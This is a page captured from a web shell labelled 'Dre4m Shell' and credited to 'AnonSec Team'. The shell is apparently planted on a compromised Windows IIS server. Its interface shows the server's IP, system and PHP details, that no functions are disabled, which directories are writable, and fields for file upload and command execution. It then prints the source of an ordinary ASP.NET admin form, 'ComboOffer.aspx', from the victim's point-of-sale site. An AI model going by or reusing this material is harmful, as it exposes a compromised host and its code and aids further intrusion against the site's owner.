Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.15.203.242
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/airzones/mpos.airzone.sg/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/airzones/mpos.airzone.sg/wwwroot/ComboOffer.aspx
<%@ Page Language="C#" AutoEventWireup="true" MasterPageFile="~/APOS.Master" CodeBehind="ComboOffer.aspx.cs"
    Inherits="Megazip.ComboOffer" %>

<asp:Content ContentPlaceHolderID="Content_Admin" ID="body" runat="server">
    <ul class="breadcrumb push-down-0">
        <li><a href="#">Super Admin</a></li>
        <li class="active">Combo Offer</li>
    </ul>
      <script src="js/jquery-1.7.2.min.js" type="text/javascript"></script>

      <script type="text/javascript">
        $(function() {
        $("#ctl00_Content_Admin_txtend_date").datepicker();
        $("#ctl00_Content_Admin_txtCombostartdate").datepicker();
        });
</script>
    <style type="text/css">
.ui-datepicker { font-size:8pt !important}
</style>
    <script language="javascript" type="text/javascript">

        function ClientTextBox() {
            var spclChars = "'!@#$%^*()";
            var ComboName = document.getElementById("ctl00_Content_Admin_txtComboName").value;
            for (var i = 0; i < ComboName.length; i++) {
                if (spclChars.indexOf(ComboName.charAt(i)) != -1) {
                    alert(" Please enter combo name special characters are not allowed.");
                    return false;
                }
            }
            var Combo_Type = document.getElementById("ctl00_Content_Admin_ddlCombo_Type").value;
            var Location = document.getElementById("ctl00_Content_Admin_ddlLocation_name").value;
            //var listproduct = document.getElementById("ctl00_Content_Admin_ddlproduct").value;
//          var product = document.getElementById("ctl00_Content_Admin_ddlproduct").value;
            var Actual_Value = document.getElementById("ctl00_Content_Admin_txtActual_Value").value;
            var Combo_value = document.getElementById("ctl00_Content_Admin_txtCombo_value").value;
            var startdate = document.getElementById("ctl00_Content_Admin_txtCombostartdate").value;
            var end_date = document.getElementById("ctl00_Content_Admin_txtend_date").value;




            if (ComboName == null || ComboName == "") {
                alert("Enter The Combo Name");
                return false;

            }

            else if (Combo_Type == 0) {
                alert("Select The Combo Type");
                return false;
            }
            else if (Location == 0) {
                alert("Select The Location Name");
                return false;
            }
//            else if (listproduct == 0) {
//                alert("Select The Products");
//                return false;
//            }

            else if (Actual_Value == null || Actual_Value == "") {
                alert("Enter The Actual Value");
                return false;
            }
            else if (Combo_value == null || Combo_value == "") {
                alert("Enter The Combo Value");
                return false;
            }
            else if (startdate == null || startdate == "") {
            alert("Select The Start Date");
                return false;
            }
            else if (end_date == null || end_date == "") {
                alert("Select The End Date");
                return false;
            }

        }
    </script>
   
    
    <script>
     
       function func()
        {
            var numberOfChecked = $('input:checkbox:checked').length;
            $('#ctl00_Content_Admin_txtProductcount').attr("value", numberOfChecked);

        }
        $("#ctl00_Content_Admin_txtend_date").click(function() {
            alert("The paragraph was clicked.");
        });
    </script>

<script type="text/javascript">
    function isNumberKey(evt, id) {
        try {
            var charCode = (evt.which) ? evt.which : event.keyCode;

            if (charCode == 46) {
                var txt = document.getElementById(id).value;
                if (!(txt.indexOf(".") > -1)) {

                    return true;
                }
            }
            if (charCode > 31 && (charCode < 48 || charCode > 57))
                return false;

            return true;
        } catch (w) {
           // alert(w);
        }
    }
    </script>


    <div class="page-content-wrap">
        <form id="Form1" runat="server">
        <div class="row">
            <div class="col-md-12">
                <div class="panel panel-success panel-hidden-controls">
                    <div class="panel-heading">
                        <h3 class="panel-title">
                            Combo Offer</h3>
                        <ul class="panel-controls">
                            <li><a href="#" class="panel-fullscreen"><span class="fa fa-expand"></span></a></li>
                            <li class="dropdown"><a href="#" class="dropdown-toggle" data-toggle="dropdown"><span
                                class="fa fa-cog"></span></a>
                                <ul class="dropdown-menu">
                                    <li><a href="#" class="panel-collapse"><span class="fa fa-angle-down"></span>
                                        Collapse</a></li>
                                    <li><a href="#" class="panel-refresh"><span class="fa fa-refresh"></span>Refresh</a></li>
                                </ul>
                            </li>
                            <li><a href="#" class="panel-remove"><span class="fa fa-times"></span></a></li>
                        </ul>
                        <div class="pull-right">
                            <asp:Button ID="btnback" Text="Back" runat="server" class="btn btn-info" OnClick="btnback_Click" />
                        </div>
                    </div>
                    <div class="panel-body">
                        <div class="row">
                            <div class="col-md-6">
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblCombo_Code" runat="server" class="col-md-4 col-xs-12 control-label">Combo Code</asp:Label>
                                         <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtCombo_Code" Enabled="false" Text="Auto" runat="server" class="form-control"
                                                TabIndex="0"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblCombo_Type" runat="server" class="col-md-4 col-xs-12 control-label">Combo Type<span style="color:Red";><label>&#160;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                        
                                            <asp:DropDownList ID="ddlCombo_Type" AutoPostBack="true" CssClass="form-control selected"
                                                TabIndex="2" runat="server" MinimumValue="1" MaximumValue="2" 
                                                onselectedindexchanged="ddlCombo_Type_SelectedIndexChanged">
                                                 <asp:ListItem Value="0" Text="---Select---"></asp:ListItem>
                                                <asp:ListItem Value="Session">Session</asp:ListItem>
                                                <asp:ListItem Value="Product">Product</asp:ListItem>
                                            </asp:DropDownList>
                                        </div>
                                    </div>
                                </div>
                                <br />
                              
                                 <div id="ddlprod" runat="server">
                                <div class="row" >
                                    <div class="form-group">
                                        <asp:Label ID="lblproduct" runat="server" class="col-md-4 col-xs-12 control-label">List Of Product<span style="color:Red"><label>&#160;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                         
                                            <asp:DropDownList ID="ddlproduct" AutoPostBack="true" class="form-control selected"
                                                TabIndex="2" runat="server" onselectedindexchanged="ddlproduct_SelectedIndexChanged">
                                              
                                            </asp:DropDownList>
                                        </div>
                                    </div>
                                </div>
                                </div>
                                
                                <br />
                                 <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblCombo_value" runat="server" class="col-md-4 col-xs-12 control-label">Combo Value<span style="color:Red";><label>&#160;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtCombo_value" runat="server"  class="form-control" onkeypress="return isNumberKey(event,this.id)" TabIndex="4" 
                                                ></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                <br />
                               <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblCombostartdate" runat="server" class="col-md-4 col-xs-12 control-label">Combo Start Date<span style="color:Red";><label>&#160;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                        <div class="input-group">
                                            <asp:TextBox ID="txtCombostartdate" runat="server" 
                                                class="form-control" TabIndex="5" ></asp:TextBox>
                                                <samp class="input-group-addon" style="padding-bottom: 7px;">
                                                    <samp id="ctl00_Content_Admin_Samp1" class="fa fa-calendar">
                                                    </samp>
                                                </samp>
                                                </div>
                                        </div>
                                    </div>
                                </div>
                                
                                <br />               
                               
                                
                                <div id="chlprod" runat="server">
                                <div class="row" >
                                    <div class="form-group">
                                        <asp:Label ID="lblApp_product" runat="server" Style="font-size: small; margin-left: 2px;"
                                            class="col-md-4 col-xs-12 control-label">Products<span style="color:Red"><label>&#160;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <div class="form-control" style="width: 240px; height: 100px; overflow-y: scroll; border-style: solid; border-width: 1px; border-color: rgb(204, 204, 204);">
                                                <asp:CheckBoxList ID="chlproduct" AutoPostBack="true" runat="server"  RepeatLayout="Flow" ForeColor="Black"
                                                       Width="180px" style=" margin-left: 4px;" onclick="func()" onselectedindexchanged="chlproduct_SelectedIndexChanged" 
                                                    >
                                                    
                                                   
                                                
                                                </asp:CheckBoxList>
                                                </div>
                                        </div>
                                    </div>
                                </div>
                                </div>
                                <br />

                            </div>
                            <div class="col-md-6">
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblComboName" runat="server" class="col-md-4 col-xs-12 control-label">Combo Name<span style="color:Red";><label>&#160;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtComboName" Enabled="true" runat="server" class="form-control"
                                                TabIndex="1"></asp:TextBox>
                                        </div>
                                       
                                    </div>
                                </div>
                                <br />
                                 <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblLocation_name" runat="server" class="col-md-4 col-xs-12 control-label">Location Name<span style="color:Red";><label>&#160;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                           
                                            <asp:DropDownList ID="ddlLocation_name" AutoPostBack="true" CssClass="form-control selected"
                                                TabIndex="2" runat="server"  onselectedindexchanged="ddlLocation_name_SelectedIndexChanged"
                                                >
                                              
                                            </asp:DropDownList>
                                        </div>
                                    </div>
                                </div>
                                <br />
                               <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblActual_Value" runat="server" class="col-md-4 col-xs-12 control-label">Actual Value<span style="color:Red";><label>&#160;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtActual_Value" runat="server" class="form-control" onkeypress="return isNumberKey(event,this.id)" TabIndex="3"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblend_date" runat="server" class="col-md-4 col-xs-12 control-label">Combo End Date<span style="color:Red";><label>&#160;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                          <div class="input-group">
                                            <asp:TextBox ID="txtend_date" runat="server" class="form-control"  TabIndex="6"></asp:TextBox>
                                        <samp class="input-group-addon" style="padding-bottom: 7px;">
                                                    <samp id="ctl00_Content_Admin_Samp1" class="fa fa-calendar">
                                                    </samp>
                                                </samp>
                                                </div>
                                        </div>
                                    </div>
                                </div>
                               
                                <br />
                             
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblstatus" runat="server" class="col-md-4 col-xs-12 control-label">Status</asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <div class="input-group">
                                                <asp:RadioButtonList ID="rbtnStatus" RepeatDirection="Horizontal" runat="server">
                                                    <asp:ListItem Selected="True" Value="Active">Active &#160; &#160; </asp:ListItem>
                                                    <asp:ListItem Value="Deactive">Deactive</asp:ListItem>
                                                </asp:RadioButtonList>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                
                                
                                <div id = "txtProCount" runat="server">
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblProductcount" runat="server" class="col-md-4 col-xs-12 control-label">Product Count</asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtProductcount" runat="server" class="form-control" TabIndex="7"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                </div>
                                <br />
                                
                                <%-- <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblbarcodeend" runat="server" class="col-md-4 col-xs-12 control-label">Coupon Barcode End No</asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtbarcodeend" runat="server" class="form-control" TabIndex="5"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                <br />--%>
                            </div>
                            </div>
                               <br />
                        <div class="row">
                            <div class="form-group">
                                <asp:Label ID="Label5" runat="server" class="col-md-4 col-xs-12 control-label"></asp:Label>
                                <div class="col-md-12 col-xs-12">
                                    <center>
                                        <asp:Button ID="btn_PlanMaster" Text="Submit" runat="server" 
                                            class="btn btn-success" onclick="btn_PlanMaster_Click" OnClientClick="javascript:return ClientTextBox();" />
                                        <asp:Button ID="btnClear" runat="server" Text="Clear" class="btn btn-danger" onclick="btnClear_Click1" 
                                             />
                                    </center>
                                </div>
                            </div>
                        </div>
                        <br />
                        
                     
                    </div>
                </div>
            </div>
        </div>
        </form>
    </div>
</asp:Content>

Anon7 - 2022
AnonSec Team